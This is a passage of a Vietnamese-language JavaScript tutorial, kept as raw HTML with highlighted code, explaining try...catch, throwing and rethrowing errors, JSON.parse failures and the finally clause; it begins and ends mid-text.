punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//ReferenceError</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//aha is not defined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>stack<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//ReferenceError: aha is not defined at (...call stack)</span> <span class="token comment">// Ngoài ra, bạn có thể hiển thị toàn bộ lỗi `err`.</span> <span class="token comment">// Khi đó, lỗi được convert sang string có dạng "name: message"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ReferenceError: aha is not defined</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="cách-sử-dụng-khác-của-catch" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-kh%C3%A1c-c%E1%BB%A7a-catch" aria-label="cách sử dụng khác của catch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng khác của <code>catch</code></h2> <p>Nếu bạn không cần thông tin chi tiết về lỗi, <code>catch</code> có thể bỏ qua đối tượng <code>err</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">{</span> <span class="token comment">// &lt;-- không có (err)</span> <span class="token comment">//...</span> <span class="token punctuation">}</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> cách viết này mới có gần đây. Các trình duyệt cũ có thể không hỗ trợ.</p> </blockquote> <h2 id="sử-dụng-trycatch" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-trycatch" aria-label="sử dụng trycatch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng "try...catch"</h2> <p>Sau đây, mình hãy cùng khám phá một trường hợp thực tế sử dụng <code>try...catch</code>.</p> <p>Như bạn đã biết, JavaScript hỗ trợ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">JSON.parse(str)</a> để đọc các giá trị được mã hóa dạng <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>.</p> <p>Thông thường, JSON được sử dụng để giải mã dữ liệu nhận được qua mạng, từ server hoặc một nguồn khác.</p> <p>Bạn có thể nhận được JSON string và gọi <code>JSON.parse</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// dữ liệu từ server</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{"name":"Alex", "age": 29}'</span><span class="token punctuation">;</span> <span class="token comment">// convert string thành JS object</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bây giờ user là object với các thuộc tính là `name` và `age`</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 29</span></code></pre></div> <p>Bây giờ, nếu <code>json</code> là <strong>không đúng định dạng</strong> thì <code>JSON.parse</code> sẽ tạo ra lỗi dẫn đến đoạn code trên bị crash.</p> <p>Dĩ nhiên là bạn không muốn điều này xảy ra phải không?</p> <p>Với cách xử lý trên, nếu có lỗi với dữ liệu, người dùng sẽ không bao giờ biết được điều đó - trừ khi mở <a href="/dev-tools-la-gi/">DevTool</a>.</p> <p>Và mọi người thực sự không thoải mái khi một cái gì đó "chỉ chết" - "không hoạt động" mà không có bất kỳ thông báo lỗi nào.</p> <p>Để giải quyết vấn đề này, bạn hãy sử dụng <code>try...catch</code> để xử lý lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">"{ json lỗi }"</span><span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- khi lỗi xảy ra</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đoạn code này sẽ không được chạy</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// đoạn code sau đây sẽ được thực thi</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"The data has errors, we'll try to request it one more time."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây, mình chỉ sử dụng <code>catch</code> để hiển thị thông báo lỗi. Tuy nhiên, bạn có thể làm được nhiều hơn thế, ví dụ:</p> <ul> <li>Gửi request mới lên server.</li> <li>Đề xuất phương án thay thế cho người dùng.</li> <li>Gửi thông tin chi tiết về lỗi.</li> <li>...vv và nhiều cách xử lý khác nữa hơn là việc không có thông báo gì.</li> </ul> <h2 id="throw-lỗi-tự-định-nghĩa" style="position:relative;"><a href="#throw-l%E1%BB%97i-t%E1%BB%B1-%C4%91%E1%BB%8Bnh-ngh%C4%A9a" aria-label="throw lỗi tự định nghĩa permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>"Throw" lỗi tự định nghĩa</h2> <p>Điều gì xảy ra nếu <code>json</code> về mặt cú pháp là đúng, nhưng <strong>không có thông tin bắt buộc</strong>?</p> <p>Ví dụ <code>json</code> thiếu thuộc tính <code>name</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{ "age": 30 }'</span><span class="token punctuation">;</span> <span class="token comment">// thiếu trường `name`</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- không có lỗi khi parse JSON</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không có thuộc tính `name` như mong muốn</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Đoạn code này không thực thi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, <code>JSON.parse</code> chạy hoàn toàn bình thường, nhưng do không có <code>name</code> nên có thể gây ra lỗi phía sau. Để xử lý lỗi này, bạn có thể dùng toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw"><code>throw</code></a>.</p> <h3 id="toán-tử-throw" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-throw" aria-label="toán tử throw permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử "throw"</h3> <p>Mỗi toán tử <code>throw</code> sẽ tạo ra một lỗi.</p> <p>Cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">throw</span> <span class="token operator">&lt;</span>error object<span class="token operator">></span></code></pre></div> <p>Về cơ bản, bạn có thể dùng bất cứ thứ gì làm đối tượng lỗi. Đó có thể là một dữ liệu nguyên thủy, như một số hoặc một chuỗi. Nhưng <strong>tốt hơn</strong> là sử dụng các <strong>object</strong>, <strong>tốt nhất</strong> là đối tượng có thuộc tính <code>name</code> và <code>message</code> (để tương thích với các lỗi định nghĩa sẵn).</p> <p>Ngoài ra, JavaScript có sẵn nhiều hàm khởi tạo lỗi như: <code>Error</code>, <code>SyntaxError</code>, <code>ReferenceError</code>, <code>TypeError</code>,... Do đó, bạn có thể sử dụng chúng để tạo ra các đối tượng lỗi như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> error <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hoặc</span> <span class="token keyword">let</span> error <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> error <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReferenceError</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ...vv</span></code></pre></div> <p>Đối với những lỗi có sẵn, thuộc tính <code>name</code> chính xác là tên của hàm khởi tạo. Và <code>message</code> được lấy từ đối số truyền vào hàm, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> error <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Things happen o_O"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Things happen o_O</span></code></pre></div> <p>Hãy xem loại lỗi nào <code>JSON.parse</code> tạo ra:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token string">"{ json lỗi o_O }"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// SyntaxError</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Unexpected token j in JSON at position 2</span> <span class="token punctuation">}</span></code></pre></div> <p>Như bạn có thể thấy, đó là một <code>SyntaxError</code>.</p> <p>Quay lại ví dụ lúc trước, việc thiếu thuộc tính <code>name</code> là một lỗi, vì người dùng bắt buộc phải có <code>name</code>.</p> <p>Vì vậy, bạn hãy <code>throw</code> lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{ "age": 30 }'</span><span class="token punctuation">;</span> <span class="token comment">// thiếu dữ liệu</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- không có lỗi</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">(</span><span class="token string">"Incomplete data: no name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"JSON Error: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JSON Error: Incomplete data: no name</span> <span class="token punctuation">}</span></code></pre></div> <p>Tại dòng <code>(*)</code>, toán tử <code>throw</code> tạo ra một lỗi dạng <code>SyntaxError</code> với thông báo chi tiết <code>message</code>, giống như cách JavaScript tự tạo ra lỗi đó. Đoạn code thực hiện <code>try</code> ngay lập tức dừng lại và luồng điều khiển chuyển sang <code>catch</code>.</p> <p>Bây giờ, <code>catch</code> đã trở thành một nơi duy nhất để xử lý tất cả các lỗi: cả hai cho <code>JSON.parse</code> và các trường hợp khác.</p> <h2 id="kĩ-thuật-rethrowing" style="position:relative;"><a href="#k%C4%A9-thu%E1%BA%ADt-rethrowing" aria-label="kĩ thuật rethrowing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kĩ thuật "rethrowing"</h2> <p>Trong ví dụ trên, mình sử dụng <code>try...catch</code> để xử lý khi dữ liệu không chính xác. Nhưng liệu có thể <strong>một lỗi không mong muốn khác</strong> xảy ra trong khối <code>try {...}</code>?</p> <p>Giống như một lỗi lập trình (biến không được xác định) hoặc một lỗi nào khác, không chỉ là lỗi <strong>dữ liệu không chính xác</strong> như trên.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{ "age": 30 }'</span><span class="token punctuation">;</span> <span class="token comment">// dữ liệu không đầy đủ</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;-- quên đặt `let` trước biến user</span> <span class="token comment">//...</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"JSON Error: "</span> <span class="token operator">+</span> err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JSON Error: ReferenceError: user is not defined</span> <span class="token comment">// (có lỗi xảy ra nhưng không thực sự là lỗi do định dạng JSON)</span> <span class="token punctuation">}</span></code></pre></div> <p>Tất nhiên, mọi thứ đều có thể xảy ra! Và bạn hoàn toàn có thể mắc sai lầm.</p> <p>Trong trường hợp trên, <code>try...catch</code> được đặt để bắt lỗi <strong>dữ liệu không chính xác</strong>. Nhưng bản chất, <code>catch</code> bắt được <strong>tất cả các lỗi</strong> từ khối <code>try</code>.</p> <p>Ở đây, mình gặp lỗi không mong muốn nhưng vẫn hiển thị như cũ với nội dung <code>"JSON Error"</code>. Điều đó sai và cũng làm cho mình khó gỡ lỗi hơn (vì mình không biết bản chất lỗi thật sự là gì).</p> <p>Để tránh những vấn đề như trên, bạn có thể sử dụng kỹ thuật <strong>rethrowing</strong> với quy tắc đơn giản là: <code>catch</code> chỉ nên xử lý các lỗi biết trước và <strong>rethrowing</strong> tất cả các lỗi khác.</p> <p>Kỹ thuật <strong>rethrowing</strong> có thể được giải thích chi tiết hơn như sau:</p> <ol> <li>Bắt được tất cả các lỗi.</li> <li>Bên trong khối <code>catch (err) {...}</code>, bạn phân tích đối tượng lỗi <code>err</code>.</li> <li>Nếu bạn không biết cách xử lý lỗi đó, bạn hãy <code>throw err</code>.</li> </ol> <p>Thông thường, bạn có thể kiểm tra loại lỗi bằng cách sử dụng <a href="/kiem-tra-lop-toan-tu-instanceof-trong-javascript/">toán tử <code>instanceof</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">/*...*/</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// "ReferenceError" để xử lý trường hợp biến chưa được định nghĩa</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">ReferenceError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"ReferenceError"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Mình cũng có thể lấy tên class lỗi từ thuộc tính <code>err.name</code>. Tất cả các lỗi <strong>built-in</strong> đều có thuộc tính <code>name</code>. Ngoài ra, một lựa chọn khác là bạn truy cập <code>err.constructor.name</code>.</p> <p>Trong đoạn code dưới đây, mình sử dụng kĩ thuật <strong>rethrowing</strong> để <code>catch</code> chỉ xử lý lỗi <code>SyntaxError</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{ "age": 30 }'</span><span class="token punctuation">;</span> <span class="token comment">// dữ liệu thiếu</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">(</span><span class="token string">"Incomplete data: no name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token function">hi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lỗi không mong muốn</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"JSON Error: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token comment">// rethrow (*)</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span></code></pre></div> <p>Câu lệnh <code>throw error</code> tại <code>(*)</code> từ bên trong khối <code>catch</code> đẩy lỗi ra khỏi <code>try...catch</code> và có thể bắt bởi một cấu trúc <code>try...catch</code> khác bên ngoài (nếu tồn tại), hoặc làm đoạn lệnh bị dừng lại.</p> <p>Tóm lại, khối <code>catch</code> thực sự chỉ nên xử lý các lỗi biết cách xử lý và <strong>bỏ qua</strong> tất cả các lỗi khác.</p> <p>Ví dụ dưới đây minh họa cách các lỗi như vậy có thể được phát hiện bởi một cấp <code>try...catch</code> nữa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">readData</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token string">'{ "age": 30 }'</span><span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token function">blabla</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// error!</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//...</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token comment">// rethrow (vì không biết cách xử lý)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token function">readData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"External catch got: "</span> <span class="token operator">+</span> err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bắt lỗi</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây, hàm <code>readData</code> chỉ biết cách xử lý lỗi <code>SyntaxError</code>, trong khi cấu trúc <code>try...catch</code> bên ngoài biết cách làm thế nào để xử lý những lỗi khác.</p> <h2 id="cấu-trúc-trycatchfinally" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-trycatchfinally" aria-label="cấu trúc trycatchfinally permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc "try...catch...finally"</h2> <p>Cấu trúc <code>try...catch</code> có thể có thêm một mệnh đề nữa là: <code>finally</code>.</p> <p>Nếu <code>finally</code> tồn tại, đoạn code đó sẽ chạy trong mọi trường hợp:</p> <ul> <li>Sau <code>try</code>, nếu không có lỗi,</li> <li>Sau <code>catch</code>, nếu có sai sót.</li> </ul> <p>Cú pháp mở rộng có dạng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token comment">//...code xử lý</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//...xử lý lỗi</span> <span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span> <span class="token comment">//...luôn luôn được thực thi</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"try"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">confirm</span><span class="token punctuation">(</span><span class="token string">"Make an error?"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token constant">BAD_CODE</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"catch"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"finally"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Đoạn code trên có hai cách thực thi như sau:</p> <ol> <li>Nếu bạn trả lời <strong>OK</strong>, thì kết quả là <code>try -> catch -> finally</code>.</li> <li>Nếu bạn trả lời <strong>Cancel</strong>, thì kết quả là 